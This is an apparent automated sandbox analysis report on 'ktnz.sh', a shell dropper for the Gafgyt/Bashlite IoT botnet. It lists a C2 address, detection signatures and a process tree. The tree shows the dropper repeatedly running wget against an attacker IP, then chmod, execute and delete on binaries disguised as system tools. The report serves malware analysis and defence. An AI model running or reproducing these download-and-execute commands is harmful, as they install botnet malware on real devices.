Analysis

  • max time kernel
    148s
  • max time network
    152s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    04/08/2024, 16:14

General

  • Target
    ktnz.sh
  • Size 1KB
  • Sample240804-tpmnpsyhqm
  • SHA256 b231cfb1a825075213f6f8db5b2e08c95bd21d8024982c14f11bf58c57b60c35
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Family
  • gafgyt

C2
  • 93.123.85.176:4444

Signatures

  • Detected Gafgyt variant 1 IoCs
  • Gafgyt/Bashlite

    IoT botnet with numerous variants first seen in 2014.

  • Executes dropped EXE 1 IoCs
  • Reads system routing table 1 TTPs 1 IoCs

    Gets active network interfaces from /proc virtual filesystem.

  • Reads system network configuration 1 TTPs 1 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ktnz.sh
    /tmp/ktnz.sh
    1⤵
      PID:658
      • /usr/bin/wget
        wget http://93.123.85.176/ntpd
        2⤵
          PID:666
        • /bin/chmod
          chmod +x ntpd
          2⤵
            PID:672
          • /tmp/ntpd
            ./ntpd
            2⤵
              PID:674
            • /bin/rm
              rm -rf ntpd
              2⤵
                PID:676
              • /usr/bin/wget
                wget http://93.123.85.176/sshd
                2⤵
                  PID:678
                • /bin/chmod
                  chmod +x sshd
                  2⤵
                    PID:684
                  • /tmp/sshd
                    ./sshd
                    2⤵
                      PID:686
                    • /bin/rm
                      rm -rf sshd
                      2⤵
                        PID:688
                      • /usr/bin/wget
                        wget http://93.123.85.176/openssh
                        2⤵
                          PID:689
                        • /bin/chmod
                          chmod +x openssh
                          2⤵
                            PID:692
                          • /tmp/openssh
                            ./openssh
                            2⤵
                              PID:693
                            • /bin/rm
                              rm -rf openssh
                              2⤵
                                PID:694
                              • /usr/bin/wget
                                wget http://93.123.85.176/bash
                                2⤵
                                  PID:696
                                • /bin/chmod
                                  chmod +x bash
                                  2⤵
                                    PID:699
                                  • /tmp/bash
                                    ./bash
                                    2⤵
                                      PID:701
                                    • /bin/rm
                                      rm -rf bash
                                      2⤵
                                        PID:702
                                      • /usr/bin/wget
                                        wget http://93.123.85.176/tftp
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:703
                                      • /bin/chmod
                                        chmod +x tftp
                                        2⤵
                                          PID:705
                                        • /tmp/tftp
                                          ./tftp
                                          2⤵
                                          • Executes dropped EXE
                                          • Reads system routing table
                                          • Reads system network configuration
                                          PID:706
                                        • /bin/rm
                                          rm -rf tftp
                                          2⤵
                                            PID:709
                                          • /usr/bin/wget
                                            wget http://93.123.85.176/wget
                                            2⤵
                                              PID:710
                                            • /bin/chmod
                                              chmod +x wget
                                              2⤵
                                                PID:711
                                              • /tmp/wget
                                                ./wget
                                                2⤵
                                                  PID:712
                                                • /bin/rm
                                                  rm -rf wget
                                                  2⤵
                                                    PID:713
                                                  • /usr/bin/wget
                                                    wget http://93.123.85.176/cron
                                                    2⤵
                                                      PID:714
                                                    • /bin/chmod
                                                      chmod +x cron
                                                      2⤵
                                                        PID:715
                                                      • /tmp/cron
                                                        ./cron
                                                        2⤵
                                                          PID:716
                                                        • /bin/rm
                                                          rm -rf cron
                                                          2⤵
                                                            PID:717
                                                          • /usr/bin/wget
                                                            wget http://93.123.85.176/ftp
                                                            2⤵
                                                              PID:718
                                                            • /bin/chmod
                                                              chmod +x ftp
                                                              2⤵
                                                                PID:719
                                                              • /tmp/ftp
                                                                ./ftp
                                                                2⤵
                                                                  PID:720
                                                                • /bin/rm
                                                                  rm -rf ftp
                                                                  2⤵
                                                                    PID:721
                                                                  • /usr/bin/wget
                                                                    wget http://93.123.85.176/pftp
                                                                    2⤵
                                                                      PID:722
                                                                    • /bin/chmod
                                                                      chmod +x pftp
                                                                      2⤵
                                                                        PID:732
                                                                      • /tmp/pftp
                                                                        ./pftp
                                                                        2⤵
                                                                          PID:734
                                                                        • /bin/rm
                                                                          rm -rf pftp
                                                                          2⤵
                                                                            PID:735
                                                                          • /usr/bin/wget
                                                                            wget http://93.123.85.176/sh
                                                                            2⤵
                                                                              PID:736
                                                                            • /bin/chmod
                                                                              chmod +x sh
                                                                              2⤵
                                                                                PID:739
                                                                              • /tmp/sh
                                                                                ./sh
                                                                                2⤵
                                                                                  PID:741
                                                                                • /bin/rm
                                                                                  rm -rf sh
                                                                                  2⤵
                                                                                    PID:742
                                                                                  • /usr/bin/wget
                                                                                    wget "http://93.123.85.176/[cpu]"
                                                                                    2⤵
                                                                                      PID:744
                                                                                    • /bin/chmod
                                                                                      chmod +x "[cpu]"
                                                                                      2⤵
                                                                                        PID:747
                                                                                      • /tmp/[cpu]
                                                                                        "./[cpu]"
                                                                                        2⤵
                                                                                          PID:748
                                                                                        • /bin/rm
                                                                                          rm -rf "[cpu]"
                                                                                          2⤵
                                                                                            PID:749
                                                                                          • /usr/bin/wget
                                                                                            wget http://93.123.85.176/apache2
                                                                                            2⤵
                                                                                              PID:750
                                                                                            • /bin/chmod
                                                                                              chmod +x apache2
                                                                                              2⤵
                                                                                                PID:753
                                                                                              • /tmp/apache2
                                                                                                ./apache2
                                                                                                2⤵
                                                                                                  PID:754
                                                                                                • /bin/rm
                                                                                                  rm -rf apache2
                                                                                                  2⤵
                                                                                                    PID:755
                                                                                                  • /usr/bin/wget
                                                                                                    wget http://93.123.85.176/telnetd
                                                                                                    2⤵
                                                                                                      PID:757
                                                                                                    • /bin/chmod
                                                                                                      chmod +x telnetd
                                                                                                      2⤵
                                                                                                        PID:760
                                                                                                      • /tmp/telnetd
                                                                                                        ./telnetd
                                                                                                        2⤵
                                                                                                          PID:762
                                                                                                        • /bin/rm
                                                                                                          rm -rf telnetd
                                                                                                          2⤵
                                                                                                            PID:763
                                                                                                          • /usr/bin/wget
                                                                                                            wget http://93.123.85.176/ktn.armv7l
                                                                                                            2⤵
                                                                                                              PID:764
                                                                                                            • /bin/chmod
                                                                                                              chmod +x ktn.armv7l
                                                                                                              2⤵
                                                                                                                PID:767
                                                                                                              • /tmp/ktn.armv7l
                                                                                                                ./ktn.armv7l
                                                                                                                2⤵
                                                                                                                  PID:768
                                                                                                                • /bin/rm
                                                                                                                  rm -rf ktn.armv7l
                                                                                                                  2⤵
                                                                                                                    PID:769

                                                                                                                Network

                                                                                                                      MITRE ATT&CK Enterprise v15

                                                                                                                      Replay Monitor

                                                                                                                      Loading Replay Monitor...

                                                                                                                      Downloads

                                                                                                                      tftp

                                                                                                                      • Path /tmp/tftp
                                                                                                                      • Size 166KB
                                                                                                                      • SHA256 f4c6c78133a5ee74725fb280414427441a8f2918744bf6fa87cdc8df6a27a9f4
                                                                                                                      • MD5 SHA1 SHA512 SSDEEP